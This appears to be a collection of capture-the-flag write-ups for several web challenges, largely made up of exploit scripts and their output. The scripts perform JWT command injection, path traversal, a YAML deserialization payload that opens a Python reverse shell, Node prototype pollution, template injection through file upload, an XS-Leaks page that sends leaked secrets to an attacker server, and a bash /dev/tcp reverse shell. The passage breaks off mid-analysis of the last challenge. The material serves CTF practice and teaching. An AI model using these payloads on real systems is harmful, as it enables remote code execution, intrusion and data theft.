│   ├── package.json 
│   └── flag.txt 
├── .dockerignore
└── Dockerfile 

```

## Solution

Install pip

```
sudo apt install python3-pip
```

Install pyjwt and requests

```
python3 -m pip install pyjwt requests
```

Exploit

```python
import jwt
from requests import get

host = '127.0.0.1'
port = '8000'

payload = {
    'username': ' > /dev/null && cat /usr/src/app/flag.txt'
}
key = 'secret'

headers = {'Authorization': jwt.encode(payload = payload, key = key)}

flag = get(f'http://{host}:{port}/api/user/system/exist', headers = headers).text
print(flag)
```

Run the script

```
python3 exploit.py
```

Output

```
{"message":"username exists","output":"TCC{34$Y_c0mmAND_1nJ3c710n}"}
```


# Config

## [Project ](https://github.com/Diefunction/tcc-ctf/tree/main/config)

#### Structure

```
config
├── health-app/ 
│   ├── external/ 
│       └── index.php 
│   ├── flag/ 
│       └── flag.txt
│   ├── internal/ 
│       ├── index.php 
│       └── monitor.php
│   └── Dockerfile 
└── nginx-proxy/ 
    ├── Dockerfile
    └── nginx.conf
```

## Solution

Install pip

```
sudo apt install python3-pip
```

Install requests

```
python3 -m pip install requests
```

Exploit

```python
from requests import post

host = '127.0.0.1'
port = '8001'

payload = {
    'logfile': '/flag/flag.txt'
}
flag = post(f'http://{host}:{port}/health../internal/monitor.php', data = payload).text
print(flag)
```

Run the script

```
python3 exploit.py
```

Output

```
TCC{n91NX_rpR0xY_M15C0nF19Ur4t10n}<br>
```


# Extend

## [Project](https://github.com/Diefunction/tcc-ctf/tree/main/extend)&#x20;

#### Structure

```
extend
├── challenge/ 
│   ├── app/
│       ├── __init__.py
│       └── routes.py 
│   ├── flag.txt 
│   ├── run.py 
│   └── secret.txt 
└── Dockerfile 

```

## Solution

Install libssl-dev package.

```
sudo apt-get install libssl-dev
```

Clone the hash extender repository and change the current directory to the hash extender directory.

```
git clone https://github.com/iagox86/hash_extender && cd hash_extender
```

Build the project.

```
make
```

```bash
./hash_extender --data guest --secret 17 --append x -f sha256 --signature 59afa75317d96a3220e477f3a1aae0f44800c7604ea9bf295cf8aab6e7d7a68b
```

Output.

```
Type: sha256
Secret length: 17
New signature: 94515c72b4fb7245ad61439c09e0f817f2e4be149cd9a8084dda7b1e78ebb8c6
New string: 67756573748000000000000000000000000000000000000000000000000000000000000000000000000000000000b078
```

Deserialization payload

```python
!!python/object/apply:subprocess.Popen 
- !!python/tuple 
  - python 
  - -c 
  - "socket=__import__('socket');os=__import__('os');pty=__import__('pty');s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('172.17.0.1',8443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/sh')"
```

Install pip

```bash
sudo apt install python3-pip
```

Install flask

```bash
python3 -m pip install flask
```

Exploit

```python
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import URLSafeTimedSerializer
from requests import post
from base64 import b64decode
class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):
	# Override method
	# Take secret_key instead of an instance of a Flask app
	def get_signing_serializer(self, secret_key):
		if not secret_key:
			return None
		signer_kwargs = dict(
			key_derivation=self.key_derivation,
			digest_method=self.digest_method
		)
		return URLSafeTimedSerializer(secret_key, salt=self.salt,
		                              serializer=self.serializer,
		                              signer_kwargs=signer_kwargs)

def decodeFlaskCookie(secret_key, cookieValue):
	sscsi = SimpleSecureCookieSessionInterface()
	signingSerializer = sscsi.get_signing_serializer(secret_key)
	return signingSerializer.loads(cookieValue)

# Keep in mind that flask uses unicode strings for the
# dictionary keys
def encodeFlaskCookie(secret_key, cookieDict):
	sscsi = SimpleSecureCookieSessionInterface()
	signingSerializer = sscsi.get_signing_serializer(secret_key)
	return signingSerializer.dumps(cookieDict)

if __name__=='__main__':
	host = '127.0.0.1'
	port = '8002'
	session = {u'extend': '94515c72b4fb7245ad61439c09e0f817f2e4be149cd9a8084dda7b1e78ebb8c6', u'username': bytes.fromhex('67756573748000000000000000000000000000000000000000000000000000000000000000000000000000000000b078')}
	cookies = dict(session = encodeFlaskCookie('th!sK3y5houldB3S3cr3t', session))
	# https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true/disabled)To_Base64('A-Za-z0-9%2B/%3D')&input=ISFweXRob24vb2JqZWN0L2FwcGx5OnN1YnByb2Nlc3MuUG9wZW4gCi0gISFweXRob24vdHVwbGUgCiAgLSBweXRob24gCiAgLSAtYyAKICAtICJzb2NrZXQ9X19pbXBvcnRfXygnc29ja2V0Jyk7b3M9X19pbXBvcnRfXygnb3MnKTtwdHk9X19pbXBvcnRfXygncHR5Jyk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgnMTcyLjE3LjAuMScsODQ0MykpO29zLmR1cDIocy5maWxlbm8oKSwwKTtvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO3B0eS5zcGF3bignL2Jpbi9zaCcpIg
	payload = {
		'yaml' : 'ISFweXRob24vb2JqZWN0L2FwcGx5OnN1YnByb2Nlc3MuUG9wZW4gCi0gISFweXRob24vdHVwbGUgCiAgLSBweXRob24gCiAgLSAtYyAKICAtICJzb2NrZXQ9X19pbXBvcnRfXygnc29ja2V0Jyk7b3M9X19pbXBvcnRfXygnb3MnKTtwdHk9X19pbXBvcnRfXygncHR5Jyk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgnMTcyLjE3LjAuMScsODQ0MykpO29zLmR1cDIocy5maWxlbm8oKSwwKTtvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO3B0eS5zcGF3bignL2Jpbi9zaCcpIg=='
	}
	post(f'http://{host}:{port}/api/v1/yaml', data = payload, cookies = cookies)

```

Start Netcat listener

```bash
nc -lnvp 8443
```

Run the script

```bash
python3 exploit.py
```

Reverse shell

```bash
docker@ubuntu:~/tcc-ctf/solutions/extend$ sudo nc -lnvp 8443
Listening on 0.0.0.0 8443
Connection received on 172.24.0.4 59118
/usr/src/app # cat flag.txt
cat flag.txt
TCC{H45H_3X73ND3r_2_D353r1411Z4710N}
/usr/src/app #
```


# Poison

## [Project ](https://github.com/Diefunction/tcc-ctf/tree/main/poison)

#### Structure

```
poison
├── src/ 
│   ├── controllers/ 
│       ├── date.js 
│       └── services.js 
│   ├── data/ 
│       └── services.json 
│   ├── middlewares/ 
│       └── error.js 
│   ├── routes/ 
│       ├── date.json 
│       └── services.js 
│   └── utils/ 
│       └── utils.js 
│   ├── app.js 
│   ├── flag.txt 
│   └── package.json
├── .dockerignore
├── Dockerfile 
├── entrypoint.sh
└── restart.sh

```

## Solution

Install pip

```
sudo apt install python3-pip
```

Install requests

```
python3 -m pip install requests
```

Exploit

```python
from requests import get, put

host = '127.0.0.1'
port = '8003'

nodeOpt = {
    'url': f'http://{host}:{port}/api/tcc/constructor/prototype/NODE_OPTIONS',
    'payload': { 'value': '--require /proc/self/environ' }
}

shell = {
    'url': f'http://{host}:{port}/api/tcc/constructor/prototype/shell',
    'payload': { 'value': 'node' }
}

env = {
    'url': f'http://{host}:{port}/api/tcc/constructor/prototype/env',
    'payload': { 'value': { 'EXPLOIT': "'';throw new Error(require('fs').readFileSync('/usr/src/app/flag.txt'));//" } }
}


date = {
    'url': f'http://{host}:{port}/api/date'
}

put(nodeOpt['url'], json = nodeOpt['payload'])
put(shell['url'], json = shell['payload'])
put(env['url'], json = env['payload'])

response = get(date['url'])
print(response.text)
```

Run the script

```
python3 exploit.py
```

Output

```
EXPLOIT='';throw new Error(require('fs').readFileSync('/usr/src/app/flag.txt'));//                                        
           ^                                                                                                    
                                                                                                                
Error: TCC{j5_pR0707yp3_p0150n1Ng}                                                                              
    at Object.<anonymous> (/proc/30/environ:1:18)                                                               
    at Module._compile (internal/modules/cjs/loader.js:1085:14)              
    at Object.Module._extensions..js (internal/modules/cjs/loader.js:1114:10)
    at Module.load (internal/modules/cjs/loader.js:950:32)           
    at Function.Module._load (internal/modules/cjs/loader.js:790:12)        
    at Module.require (internal/modules/cjs/loader.js:974:19)                                                          
    at Module._preloadModules (internal/modules/cjs/loader.js:1244:12)                                                 
    at loadPreloadModules (internal/bootstrap/pre_execution.js:475:5)                                                                                                                                                            
    at prepareMainThreadExecution (internal/bootstrap/pre_execution.js:72:3)                                              
    at internal/main/check_syntax.js:24:1
```


# Blackhat MEA 2022

## Technology Control Company exhibition

بأجواء حماسية وتحدي سيبراني معقد، تنافس مجموعة من المشاركين في تحدي الاختراق والهندسة العكسية على طاولة واحدة، للفوز بجائزة قيمة في أول أيام معرض [#بلاك\_هات22](https://www.linkedin.com/signup/cold-join?session_redirect=https%3A%2F%2Fwww%2Elinkedin%2Ecom%2Ffeed%2Fhashtag%2FAEqAESAEpAERAbRAEVAEpAEs22\&trk=public_post_share-update_update-text) بجناح [#تحكم\_التقنية](https://www.linkedin.com/signup/cold-join?session_redirect=https%3A%2F%2Fwww%2Elinkedin%2Ecom%2Ffeed%2Fhashtag%2FAEsAEvAERAETAbRAEpAESAEsAEQAEUAEYAEr\&trk=public_post_share-update_update-text)

{% embed url="<https://dms.licdn.com/playlist/C4D05AQFJNdbag_pFDQ/feedshare-ambry-analyzed_servable_progressive_video/0/1668658473301?e=2147483647&v=beta&t=66g1f8UpG50Zz2HVOALiYwhkGMVMA7Ihaz7Q9YIjrUs>" %}

## Challenges

### [Environment Setup](/ctf/technology-control-company/blackhat-mea-2022/ctf-setup-on-kali-linux)

| Name                                                                               | Description                                                                                 | Difficulty |
| ---------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------- | ---------- |
| [Careers](/ctf/technology-control-company/blackhat-mea-2022/careers)               | Find and apply to career opportunities at TCC                                               | Easy       |
| [SOC Complaints](/ctf/technology-control-company/blackhat-mea-2022/soc-complaints) | If you cannot access a website, complain to the SOC team then the SOC team will investigate | Medium     |


# CTF Setup on Kali linux

Simple local CTF environment on Kali Linux.

## Required for the environment

* [VMWare Workstation](https://www.vmware.com/)
* [Kali Linux](https://kali.download/virtual-images/kali-2022.3/kali-linux-2022.3-vmware-amd64.7z)
* [Docker](http://pkg.kali.org/pkg/docker.io)
* [Docker compose](http://pkg.kali.org/pkg/docker-compose)

### Install Kali linux on VMWare Workstation

[Kali linux image](https://kali.download/virtual-images/kali-2022.3/kali-linux-2022.3-vmware-amd64.7z) for VMWare to setup the CTF environment.\
[Default Kali Credentials](https://www.kali.org/docs/introduction/default-credentials/)\
Username: **kali**\
Password: **kali**

### Update the package index

```bash
sudo apt update
```

### [Install Docker](https://www.kali.org/docs/containers/installing-docker-on-kali/)

```bash
sudo apt install -y docker.io
sudo systemctl enable docker --now
sudo usermod -aG docker $USER
```

### Install Docker Compose

```bash
sudo apt install -y docker-compose
```

### Reboot the system

```bash
sudo reboot
```

## Recommended tools

* [Visual Studio Code](https://code.visualstudio.com/docs/?dv=linux64_deb)

### Install Visual Studio Code

[Click to download the debian package](https://code.visualstudio.com/docs/?dv=linux64_deb)

```bash
sudo dpkg -i ~/Downloads/code_1.73.1-1667967334_amd64.deb # current version 1.73.1-1667967334_amd64
```

#### Recommended VSCode Extensions

* [Docker](https://marketplace.visualstudio.com/items?itemName=ms-azuretools.vscode-docker)
* [Python](https://marketplace.visualstudio.com/items?itemName=ms-python.python)
* [Dev Containers](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers)
* [ESLint](https://marketplace.visualstudio.com/items?itemName=dbaeumer.vscode-eslint)
* [SQLTools](https://marketplace.visualstudio.com/items?itemName=mtxr.sqltools)

## Create, and start containers for the CTF

{% file src="/files/xxKHZ5EXRObGwQunCXpR" %}
Download Challenges
{% endfile %}

Download and unzip the challenges.zip file.

```bash
unzip challenges.zip
cd tcc-blackhat
docker-compose up
```

### Careers

**IPAddress** 172.20.0.3\
**Port** 80\
**URL** <http://172.20.0.3/>

### SOC Complaints

**IPAddress** 172.20.0.4\
**Port** 80\
**URL** <http://172.20.0.4/>


# Careers

**IPAddress** 172.20.0.3\
**Port** 80\
**URL** <http://172.20.0.3/>

## Description

Find and apply to career opportunities at TCC.

## Structure

```bash
.
├── app
│   ├── __init__.py
│   ├── routes.py
│   ├── static
│   │   └── assets
│   │       ├── css
│   │       │   └── careers.css
│   │       ├── img
│   │       │   └── construction.jpg
│   │       └── js
│   ├── templates
│   │   ├── includes
│   │   │   ├── footer.html
│   │   │   ├── header.html
│   │   │   └── scripts.html
│   │   ├── index.html
│   │   └── layouts
│   │       └── base.html
│   ├── uploads
│   └── views.py
├── flag.txt
└── run.py
10 directories, 12 files
```

## Solution

#### Install pip for python

```bash
sudo apt install python3-pip
```

#### Install requests for the exploit

```bash
python3 -m pip install requests
```

#### Exploit

```python
from requests import post, get

filename = '../templates/index.html' # the index.html template path to overwrite

payload = b'{{ cycler.__init__.__globals__.os.popen(\'cat /usr/src/app/flag.txt\').read() }}' # https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
files = {'file': (filename, payload, 'text/html')}

url = 'http://172.20.0.3/'
endpoint = '/api/v1/upload/resume'

response = post(url + endpoint, files = files)

response = get(url)
print(f'Flag: {response.text}')
```

#### Flag

```bash
└─$ python3 exploit.py 
```

```
Flag: TCC{34$Y_USE_SECURE_FILENAME}
```

### Explanation

* [What is server-side template injection?](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#what-is-server-side-template-injection)
* [Server-side template injection payloads](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection)
* [Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)
* [Unrestricted File Upload](https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload)


# SOC Complaints

**IPAddress** 172.20.0.4\
**Port** 80\
**URL** <http://172.20.0.4/>

## Description

If you cannot access a website, complain to the SOC team then the SOC team will investigate.

## Structure

```
.
├── app.js
├── config
│   └── cors.js
├── controllers
│   ├── complaints.js
│   └── manage.js
├── middlewares
│   └── error.js
├── package.json
├── routes
│   ├── complaints.js
│   └── manage.js
├── utils
│   ├── browser.js
│   └── database.js
└── views
```

## Solution

### Exploit

#### Attacker IPAddress

```bash
ip addr show docker0
```

```bash
6: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:40:01:c8:b5 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
    inet6 fe80::42:40ff:fe01:c8b5/64 scope link 
       valid_lft forever preferred_lft forever
```

IPv4: **172.17.0.1**

#### Start a webserver on docker interface via python

```bash
python3 -m http.server 80 -b 172.17.0.1
```

#### Content of index.html

```html
<html>
    <head>
        <title>EXPLOIT</title>
    </head>
    <body>
        <script>
            var alphabets = ' !"#$&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^`{|}~';
            var counter = 0;
            var secret = '';

            probeError = (url) => {
                let script = document.createElement('script');
                script.src = url;
                script.onload = async () => { 
                    secret = decodeURIComponent(url.split('?')[1].split('&')[1].split('=')[1]);
                    await fetch(`http://172.17.0.1/${secret}`);
                    counter = 0;
                    
                    probeError(`http://SOCComplaints/api/v1/manage/secrets?application=SOCComplaints&secret=${encodeURIComponent(secret + alphabets.charAt(counter))}`);
                };
                script.onerror = () => {
                    counter = counter + 1;
                    probeError(`http://SOCComplaints/api/v1/manage/secrets?application=SOCComplaints&secret=${encodeURIComponent(secret + alphabets.charAt(counter))}`);
                };
                document.head.appendChild(script);
            }
            probeError(`http://SOCComplaints/api/v1/manage/secrets?application=SOCComplaints&secret=${encodeURIComponent(secret + alphabets.charAt(counter))}`);

        </script>
    </body>
</html>
```

#### Phish the SOC team

```bash
curl -X POST -H 'Content-type: application/json' -d '{"url": "http://172.17.0.1/"}' http://172.20.0.4/api/v1/complaints/
```

```json
{"message":"your request was successfully submitted"}
```

#### Flag

```bash
└─$ python3 -m http.server 80 -b 172.17.0.1
Serving HTTP on 172.17.0.1 port 80 (http://172.17.0.1:80/) ...
172.20.0.4 - - [21/Nov/2022 13:59:18] "GET / HTTP/1.1" 200 -
172.20.0.4 - - [21/Nov/2022 13:59:18] code 404, message File not found
172.20.0.4 - - [21/Nov/2022 13:59:18] "GET /T HTTP/1.1" 404 -
172.20.0.4 - - [21/Nov/2022 13:59:18] code 404, message File not found
172.20.0.4 - - [21/Nov/2022 13:59:18] "GET /TC HTTP/1.1" 404 -
172.20.0.4 - - [21/Nov/2022 13:59:18] code 404, message File not found
172.20.0.4 - - [21/Nov/2022 13:59:18] "GET /TCC HTTP/1.1" 404 -
172.20.0.4 - - [21/Nov/2022 13:59:18] code 404, message File not found
172.20.0.4 - - [21/Nov/2022 13:59:18] "GET /TCC%7B HTTP/1.1" 404 -
172.20.0.4 - - [21/Nov/2022 13:59:19] code 404, message File not found
172.20.0.4 - - [21/Nov/2022 13:59:19] "GET /TCC%7BC HTTP/1.1" 404 -
172.20.0.4 - - [21/Nov/2022 13:59:19] code 404, message File not found
172.20.0.4 - - [21/Nov/2022 13:59:19] "GET /TCC%7BC0 HTTP/1.1" 404 -
172.20.0.4 - - [21/Nov/2022 13:59:19] code 404, message File not found
172.20.0.4 - - [21/Nov/2022 13:59:19] "GET /TCC%7BC0R HTTP/1.1" 404 -
172.20.0.4 - - [21/Nov/2022 13:59:19] code 404, message File not found
172.20.0.4 - - [21/Nov/2022 13:59:19] "GET /TCC%7BC0R5 HTTP/1.1" 404 -
172.20.0.4 - - [21/Nov/2022 13:59:19] code 404, message File not found
172.20.0.4 - - [21/Nov/2022 13:59:19] "GET /TCC%7BC0R5- HTTP/1.1" 404 -
172.20.0.4 - - [21/Nov/2022 13:59:19] code 404, message File not found
172.20.0.4 - - [21/Nov/2022 13:59:19] "GET /TCC%7BC0R5-1 HTTP/1.1" 404 -
172.20.0.4 - - [21/Nov/2022 13:59:19] code 404, message File not found
172.20.0.4 - - [21/Nov/2022 13:59:19] "GET /TCC%7BC0R5-1S HTTP/1.1" 404 -
172.20.0.4 - - [21/Nov/2022 13:59:19] code 404, message File not found
172.20.0.4 - - [21/Nov/2022 13:59:19] "GET /TCC%7BC0R5-1S- HTTP/1.1" 404 -
172.20.0.4 - - [21/Nov/2022 13:59:19] code 404, message File not found
172.20.0.4 - - [21/Nov/2022 13:59:19] "GET /TCC%7BC0R5-1S-N HTTP/1.1" 404 -
172.20.0.4 - - [21/Nov/2022 13:59:19] code 404, message File not found
172.20.0.4 - - [21/Nov/2022 13:59:19] "GET /TCC%7BC0R5-1S-N0 HTTP/1.1" 404 -
172.20.0.4 - - [21/Nov/2022 13:59:19] code 404, message File not found
172.20.0.4 - - [21/Nov/2022 13:59:19] "GET /TCC%7BC0R5-1S-N0T HTTP/1.1" 404 -
172.20.0.4 - - [21/Nov/2022 13:59:19] code 404, message File not found
172.20.0.4 - - [21/Nov/2022 13:59:19] "GET /TCC%7BC0R5-1S-N0T- HTTP/1.1" 404 -
172.20.0.4 - - [21/Nov/2022 13:59:19] code 404, message File not found
172.20.0.4 - - [21/Nov/2022 13:59:19] "GET /TCC%7BC0R5-1S-N0T-E HTTP/1.1" 404 -
172.20.0.4 - - [21/Nov/2022 13:59:19] code 404, message File not found
172.20.0.4 - - [21/Nov/2022 13:59:19] "GET /TCC%7BC0R5-1S-N0T-EN HTTP/1.1" 404 -
172.20.0.4 - - [21/Nov/2022 13:59:20] code 404, message File not found
172.20.0.4 - - [21/Nov/2022 13:59:20] "GET /TCC%7BC0R5-1S-N0T-ENO HTTP/1.1" 404 -
172.20.0.4 - - [21/Nov/2022 13:59:20] code 404, message File not found
172.20.0.4 - - [21/Nov/2022 13:59:20] "GET /TCC%7BC0R5-1S-N0T-ENOU HTTP/1.1" 404 -
172.20.0.4 - - [21/Nov/2022 13:59:20] code 404, message File not found
172.20.0.4 - - [21/Nov/2022 13:59:20] "GET /TCC%7BC0R5-1S-N0T-ENOUG HTTP/1.1" 404 -
172.20.0.4 - - [21/Nov/2022 13:59:20] code 404, message File not found
172.20.0.4 - - [21/Nov/2022 13:59:20] "GET /TCC%7BC0R5-1S-N0T-ENOUGH HTTP/1.1" 404 -
172.20.0.4 - - [21/Nov/2022 13:59:20] code 404, message File not found
172.20.0.4 - - [21/Nov/2022 13:59:20] "GET /TCC%7BC0R5-1S-N0T-ENOUGH%7D HTTP/1.1" 404 -
```

### Explanation

* [Error Events](https://xsleaks.dev/docs/attacks/error-events/)
* [Leaky Images: Targeted Privacy Attacks in the Web](https://www.usenix.org/system/files/sec19fall_staicu_prepub.pdf)<br>


# Athackcon

Athack CTF Capture the Flag

## [Github](https://github.com/Diefunction/athackcon)

{% embed url="<https://twitter.com/i/status/1451263831452397570>" %}
@hackcon
{% endembed %}

## Challenges

| Name                        | Category        | Points |
| --------------------------- | --------------- | ------ |
| [POLL](/ctf/athackcon/poll) | Web Application | 500    |


# POLL

## [Project](https://github.com/Diefunction/athackcon/tree/main/poll)

#### Structure

```
poll/
├── docker
│   └── node
│       └── Dockerfile
├── docker-compose.yml
└── src
    ├── app.js
    ├── config.js
    ├── flag.txt
    ├── package.json
    ├── package-lock.json
    ├── static
    │   ├── bootstrap
    │   │   └── css
    │   │       └── bootstrap.min.css
    │   ├── css
    │   │   └── Lightbox-Gallery.css
    │   ├── img
    │   │   ├── about-bg.jpg
    │   │   ├── admin-bg.jpg
    │   │   ├── contact-bg.jpg
    │   │   ├── Fword-CTF-bakground.png
    │   │   ├── home-bg.jpg
    │   │   ├── index-bg.jpg
    │   │   ├── login-bg.png
    │   │   ├── naruto.png
    │   │   ├── register-bg.jpg
    │   │   ├── Wallpaper Subaru Natsuki, Zero, 4K, 5K, Art 6507310401.jpg
    │   │   ├── wp2349778-kuroko-tetsuya-wallpapers.jpg
    │   │   └── wp3754599-hinata-shy-wallpapers.jpg
    │   └── js
    │       └── clean-blog.js
    └── views
        ├── admin.ejs
        ├── animes.ejs
        ├── home.ejs
        ├── index.ejs
        ├── login.ejs
        ├── register.ejs
        └── update.ejs

```

## Solution

Install pip

```
sudo apt install python3-pip
```

Install requests

```
python3 -m pip install requests
```

Start Netcat listener

```
nc -lnvp 8443
```

Exploit

```python
from requests import Session

host = '127.0.0.1'
port = '1234'

session = Session()
session.proxies = {'http': '127.0.0.1:8080'}

payload = {
    'username':'diefunction',
    'password': 'diefunction',
    'anime': 'Bleach'
}
session.post(f'http://{host}:{port}/register', json = payload)

payload = {
    'username':'diefunction',
    'password': 'diefunction'
}
session.post(f'http://{host}:{port}/login', json = payload)

payload = {
    'constructor[name][constructor][lucky]': '1',
    'luck': '1'
}
session.get(f'http://{host}:{port}/update', params = payload)

payload = {
    'envname': 'NODE_OPTIONS',
    'env': '--require /proc/self/environ',
    'path': '/data/config.js'
}
session.post(f'http://{host}:{port}/admin', json = payload)

code = "'';require('child_process').execSync('/bin/bash -c \\\'/bin/bash -i >& /dev/tcp/172.17.0.1/8443 0>&1\\\'');//"
payload = {
    'envname': 'NODE_VERSION',
    'env': f'{code}',
    'path': '/data/package.json'
}
session.post(f'http://{host}:{port}/admin', json = payload)
```

Run the script

```
python3 exploit.py
```

Output

```shell
writeup@ubuntu:~/Desktop/athack-ctf/poll$ nc -lnvp 8443
Listening on 0.0.0.0 8443
Connection received on 172.18.0.3 46818
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c56a8d29b3fb:/data# cat /flag.txt
cat /flag.txt
AtHackCTF{Dummy_Flag}
root@c56a8d29b3fb:/data# 
```


# Cyber Night 3

Cyber night 3 challenges

{% embed url="<https://twitter.com/SAFCSP/status/1515776245027463175>" %}

## Challenges

| Name                                          | Category        |
| --------------------------------------------- | --------------- |
| [Client Hell](/ctf/cyber-night-3/client-hell) | Web Application |


# Client Hell

Cyber night 3 Client Hell challenge

## Application Resources&#x20;

### Application source code

```javascript
const express = require('express');
const cookieParser = require("cookie-parser");
const path = require('path')
const sessions = require('express-session');
const nunjucks = require('nunjucks');
const parser = require('url');
const { userTable, notesTable } = require('./database');
const { visit } = require('./bot');

const app = express();

app.use(express.urlencoded({ extended: true }));

const oneDay = 1000 * 60 * 60 * 24;
app.use(sessions({
    secret: process.env.SECRET,
    saveUninitialized: true,
    sameSite: 'none',
    cookie: { maxAge: oneDay },
    resave: false
}));

app.use(cookieParser());

nunjucks.configure('views', {
	autoescape: true,
	express: app
});

app.set('views', './views');
app.use('/static', express.static(path.resolve('static')));

app.use((req, res, next) => {
    res.setHeader('Access-Control-Allow-Origin', '*');
    res.setHeader(
      'Access-Control-Allow-Methods',
      'OPTIONS, GET, POST, PUT, PATCH, DELETE'
    );
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    next();
});

app.get('/', (req, res) => {
    if(req.session.loggedIn){
        const query = "SELECT notes from notes where username = ?";
        const param = [req.session.username];
        let result = [];
        notesTable.all(query, param, (err, rows) => {
            if(err) console.log(err);
            for(let i = 0; i < rows.length; i++){
                result.push(rows[i].notes);
            }
            return res.render('home.html', { username: req.session.username, notes: result });
        });
    }else{
        return res.redirect('/login')
    }
});

app.get('/login', (req, res) => {
    return res.render('login.html');
});

app.get('/register', (req, res) => {
    return res.render('register.html')
});

app.post('/register', (req, res) => {
    const { username } = req.body;
    const { password } = req.body;
    let msg;
    const query = "SELECT username from user where username = ?";
    const param = [username];

    userTable.all(query, param, (err, rows) => {
        if(err) console.log(err);
        if(rows.length != 0){
            msg = "username already exists";
            return res.render('register.html', { msg: msg });
        }else{
            msg = "User have been created";
            const query2 = "INSERT INTO user(username, password) VALUES (?,?)";
            const param = [username, password]
            userTable.run(query2, param);
            return res.render('register.html', { msg: msg });
        }
    });
});

app.post('/login', (req, res) => {
    const { username } = req.body;
    const { password } = req.body;
    let msg = ""
    const query = "SELECT username, password from user where username = ? and password = ?";
    const param = [username, password];
    if(username && password){
        userTable.all(query, param, (err, rows) => {
            if(err) return;
            if(rows.length != 0){
                req.session.loggedIn = true;
                req.session.username = username;
                return res.redirect('/');
            }else{
                msg = "username or password is incorrect";
                return res.render('login.html', { msg: msg });
            }
        })
    }
});

app.post("/note", (req, res) => {
    if(req.session.loggedIn){
        const { note } = req.body;
        const query = "INSERT INTO notes(username, notes) VALUES (?,?)";
        const param = [req.session.username, note];
        notesTable.run(query, param, () => {
            return res.redirect('/');
        });
    }else{
        return res.redirect('/login');
    }
})

app.get('/report', (req, res) => {
    if(req.session.loggedIn){
        return res.render('report.html');
    }else{
        if(req.ip.includes('127.0.0.1')){
            return res.render('report.html');
        }else{
            return res.redirect('/login');
        }
    }
});

app.post('/admin/review', async (req, res) => {
    const { url } = req.body;
    regex = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/
    if(decodeURIComponent(url).match(regex)){
        const parse_url = parser.parse(url);
        if(parse_url.host.split(':')[0] == "127.0.0.1"){
            await visit(url).then(res => {
                console.log(url);
            }).catch(e => {
                console.log(e);
            });
            return res.json({msg: "We sent your report to the admin"});
        }else{
            return res.json({msg: "Invalid url"});
        }
    }else{
        res.json({msg: "please submit a url"});
    }
});

app.get('/admin/note', (req, res) => {
    if(!req.ip.includes('127.0.0.1')) return res.redirect('/');
    return res.json({flag: process.env.FLAG});
});

app.get('/logout', (req, res) => {
    req.session.destroy();
    res.redirect('/');
});

app.listen(1337, () => {
    console.log("Listening on port 1337")
});

```

### report.html content

```html
<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<title>Home</title>
		<link rel="stylesheet" href="/static/style.css">
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
        <link rel="stylesheet" href="/static/index.css">
	</head>
	<body class="loggedin">
		<script src="https://assets.adobedtm.com/launch-ENa21cfed3f06f4ddf9690de8077b39e81-development.min.js" async></script>
		<script src="https://code.jquery.com/jquery-3.5.1.js"></script>
        <script src="https://raw.githack.com/alrusdi/jquery-plugin-query-object/9e5871fbb531c5e246aac2aaf056b237bc7cc0a6/jquery.query-object.js"></script>
		<nav class="navtop">
			<div>
				<h1>Notes</h1>
				<a href="/report"><i class=""></i>report</a>
				<a href="/logout"><i class="fas fa-sign-out-alt"></i>Logout</a>
			</div>
		</nav>
		<div class="content">
			
        <h1><center>Report a URL to the admin</center></h1>
        <form id="myForm" method="get" class="example" style="margin:auto;max-width:600px">
            <input id="url" type="text" placeholder="Enter a url" name="url">
            <button id="submit" type="submit">report</button>
            <br>
            <br>
            <div id="msg" class="msg"></div>
        </form>
        <script>
            const fetchData = async () => {
                const url = document.getElementById('url').value;
                await fetch("/admin/review", {
                    method: "POST",
                    mode: 'cors',
                    headers: {
                        'Content-Type': 'application/x-www-form-urlencoded',
                    },
                    body: `url=${url}`
                }).then(res => res.json()).then(res2 => {
                    document.getElementById('msg').innerHTML = res2.msg;
                }).catch(() => {
                    document.getElementById('msg').innerHTML = "Something went wrong";
                })
            }

            const form = document.getElementById( "myForm" );
            form.addEventListener('submit', event => {
                event.preventDefault();
                fetchData();
            });
        </script>

		</div>
	</body>
</html>
```

## Exploitation

### Quick analysis

```javascript
app.post('/admin/review', async (req, res) => {
    const { url } = req.body;
    regex = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/
    if(decodeURIComponent(url).match(regex)){
        const parse_url = parser.parse(url);
